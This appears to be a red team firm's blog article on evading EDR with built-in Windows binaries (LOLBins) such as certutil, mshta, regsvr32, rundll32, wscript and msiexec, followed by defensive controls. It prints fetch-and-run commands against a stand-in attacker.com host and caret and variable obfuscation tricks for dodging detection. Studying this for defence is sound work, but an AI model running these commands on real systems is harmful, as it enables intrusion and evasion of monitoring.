Red Team 03 Aug 2026 // 9 min read

Living off the Land: How Modern Adversaries Evade EDR Using Built-In Windows Tools

Endpoint detection has never been more sophisticated — yet red team engagements continue to achieve objectives without dropping a single piece of custom malware. Here's what still works, and why.

Every major EDR vendor claims near-perfect detection of commodity malware. In our experience running adversarial simulations, that claim is largely accurate — and largely irrelevant. Sophisticated attackers haven't been dropping commodity malware for years. Instead, they abuse the tools Windows ships with by default, a technique known as living off the land (LotL), or using "LOLBins" (Living off the Land Binaries).

The result is an attacker who generates no new process hashes, triggers no signature matches, and whose activity looks indistinguishable from legitimate administrator work — at least at the binary level. On a significant proportion of our red team engagements, we complete initial access, privilege escalation, and lateral movement without executing a single custom payload.

This article breaks down the most reliable techniques we encounter in practice, why they work, and what defenders need to do differently to catch them.

Why LOLBins Work Against Modern EDR

EDR products operate primarily by monitoring process creation, network connections, file writes, and registry modifications. They apply signatures and heuristics to these events — but the signals are anchored to the characteristics of malicious software, not to the abuse of legitimate software.

When an attacker uses certutil.exe to download a file, the process that runs is Microsoft's own certificate management tool. It has a valid Microsoft signature. Its binary hash is known-good. EDR products must decide whether this particular use of the tool is suspicious — a much harder problem than matching a malware hash.

The same logic applies to mshta.exe, regsvr32.exe, rundll32.exe, and dozens of other signed Windows binaries. They are trusted by the OS, trusted by security products, and trusted by application whitelisting solutions — because in their intended use, they should be.

The Binaries We Rely On Most

certutil.exe

Originally a certificate management tool, certutil has long been abused for file download and base64 encoding/decoding. It remains useful despite increased detection coverage because many environments legitimately use it for PKI operations, making behavioural baselines noisy.

# Download a remote file
certutil -urlcache -split -f http://attacker.com/payload.txt C:\Windows\Temp\p.txt

# Decode a base64-encoded payload
certutil -decode encoded.txt payload.exe

mshta.exe

The Microsoft HTML Application host executes HTA files, which are essentially HTML pages with scripting. Attackers use it to execute VBScript or JScript payloads hosted remotely, bypassing PowerShell-based detections entirely.

mshta.exe http://attacker.com/payload.hta

# Or via inline VBScript
mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""calc.exe"":close")

regsvr32.exe (Squiblydoo)

The "Squiblydoo" technique uses regsvr32 to fetch and execute a remote scriptlet file. The key advantage is that it bypasses AppLocker by default, as regsvr32 is a signed Microsoft binary permitted by default AppLocker rules.

# Execute a remote COM scriptlet
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

rundll32.exe

Used to execute DLL exports, rundll32 is a staple for running code already on disk and for certain in-memory techniques. It is particularly useful when combined with JavaScript execution via advpack.dll or ieadvpack.dll.

# Execute JavaScript via advpack
rundll32.exe advpack.dll,LaunchINFSection C:\path\to\payload.inf,DefaultInstall_SingleUser,1,

# Execute exported function from a DLL
rundll32.exe malicious.dll,ExportedFunction

wscript.exe / cscript.exe

The Windows Script Host engines execute VBScript and JScript files. These are commonly permitted in environments that rely on legacy scripting for administration. Defenders who have disabled PowerShell execution often overlook WSH entirely.

# Execute a remote VBScript via UNC path
wscript.exe \\attacker-smb\share\payload.vbs

# Execute JScript
cscript.exe //E:JScript payload.js

msiexec.exe

The Windows Installer can fetch and execute MSI packages from remote URLs. MSI files are fully capable of running arbitrary code during install phases, and msiexec is a trusted binary on every Windows installation.

msiexec.exe /q /i http://attacker.com/payload.msi

PowerShell: Constrained Language Mode and AMSI

Many organisations have implemented PowerShell Constrained Language Mode (CLM) and enabled AMSI (Antimalware Scan Interface) to restrict what PowerShell can execute. Both are meaningful controls — but neither is a hard barrier.

CLM restricts access to .NET types and COM objects, which breaks many common PowerShell attack frameworks. However, it only applies to interactive sessions; PowerShell scripts launched by other processes (such as via mshta or COM automation) may execute in Full Language Mode depending on how CLM is enforced.

AMSI bypass note: AMSI patches in memory are reliably detected by most mature EDR products. We rarely use traditional AMSI bypasses on real engagements — the detection risk outweighs the benefit when LOLBins offer a cleaner path.

The more significant gap is that CLM does nothing to restrict non-PowerShell scripting engines. An environment with PowerShell CLM enforced but no restrictions on wscript, cscript, or mshta has closed one door while leaving three others open.

Command-Line Obfuscation

Even where EDR applies behavioural detection to LOLBin usage, command-line arguments are a common detection signal. Obfuscating command-line arguments can defeat string-matching detections without requiring any change to the binaries used.

# Standard (likely detected)
certutil -urlcache -split -f http://attacker.com/file C:\temp\file

# Obfuscated via environment variable concatenation
set u=http://attacker.com/file
certutil -urlcache -split -f %u% C:\temp\file

# Obfuscated via caret insertion (^)
c^er^tu^til^ -^ur^lc^ach^e -^sp^li^t -^f http://attacker.com/file C:\temp\file

These techniques exploit the fact that the Windows command interpreter strips certain characters before execution, but many detection systems match against the raw command string before parsing.

What Defenders Need to Do

Signature-based detection is not the right mental model for LOLBin abuse. The following controls are the ones that actually change the attacker's calculus:

Attack Surface Reduction (ASR) rules — Microsoft Defender's ASR rules can block specific LOLBin abuse scenarios, including Office macro spawning shells, abuse of wscript/cscript from email clients, and credential theft from LSASS. These are high-confidence, low-noise controls.
PowerShell Script Block Logging (Event ID 4104) — Logs the actual script content before execution, defeating obfuscation. Combine with Constrained Language Mode and AMSI for meaningful coverage.
Command-line audit policy (Event ID 4688) — Enables logging of full command-line arguments for every process creation event. Essential for retrospective investigation and behavioural detection.
Sysmon with a tuned configuration — Sysmon's process creation, network connection, and DNS query events provide the telemetry base for meaningful LOLBin detection. Use a maintained community configuration (Olaf Hartong's or Swift On Security's) as a starting point.
Windows Defender Application Control (WDAC) — The most robust control available. A well-tuned WDAC policy can block execution of untrusted scripts and DLLs regardless of which LOLBin loads them. Significant operational overhead to deploy correctly, but the strongest technical control against LotL attack chains.
Network egress filtering — Many LOLBin techniques involve fetching payloads from attacker-controlled infrastructure. Restricting outbound HTTP/HTTPS from workstations to a proxy, and auditing DNS, catches the network component of most LotL attack chains.

The key insight: behavioural detection is only effective if the baseline is clean. An environment where administrators routinely use certutil, wscript, and raw PowerShell for legitimate tasks will produce so many false positives that detection rules are suppressed in practice. Reducing administrative tool sprawl is a prerequisite for effective LOLBin detection.

Our Takeaway

LOLBin techniques are not novel — many of these techniques have been documented for a decade. They persist because the underlying conditions that make them effective (trusted binaries, noisy baselines, incomplete logging) remain common even in organisations that consider themselves mature.

On red team engagements, we treat EDR as a speed bump rather than a barrier. Our objective is to find and demonstrate the gaps that matter — the ones a real threat actor would use to move from initial access to business impact. In most environments, living off the land is still the path of least resistance.

If you want to understand what your current detection stack actually catches — rather than what it claims to catch — get in touch.